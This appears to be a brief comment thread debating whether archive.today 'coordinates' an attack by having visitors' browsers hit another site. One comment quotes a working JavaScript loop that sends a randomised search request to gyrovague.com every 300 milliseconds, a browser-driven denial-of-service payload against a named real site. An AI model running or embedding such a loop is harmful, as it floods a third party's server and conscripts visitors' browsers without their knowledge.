How does archive.today coordinate the attack?

By telling visitor browsers to DoS the site.

    That’s not really coordinating.

    It’s just a website with a simple request loop, not C&C server tells when the attacks have to happen.

    This doesn’t make your browser a bot

      setInterval(function() {
            fetch("https://gyrovague.com/?s=" + Math.random().toString(36).substring(2, 3 + Math.random() * 8), {
                referrerPolicy: "no-referrer",
                mode: "no-cors"
            });
        }, 300);
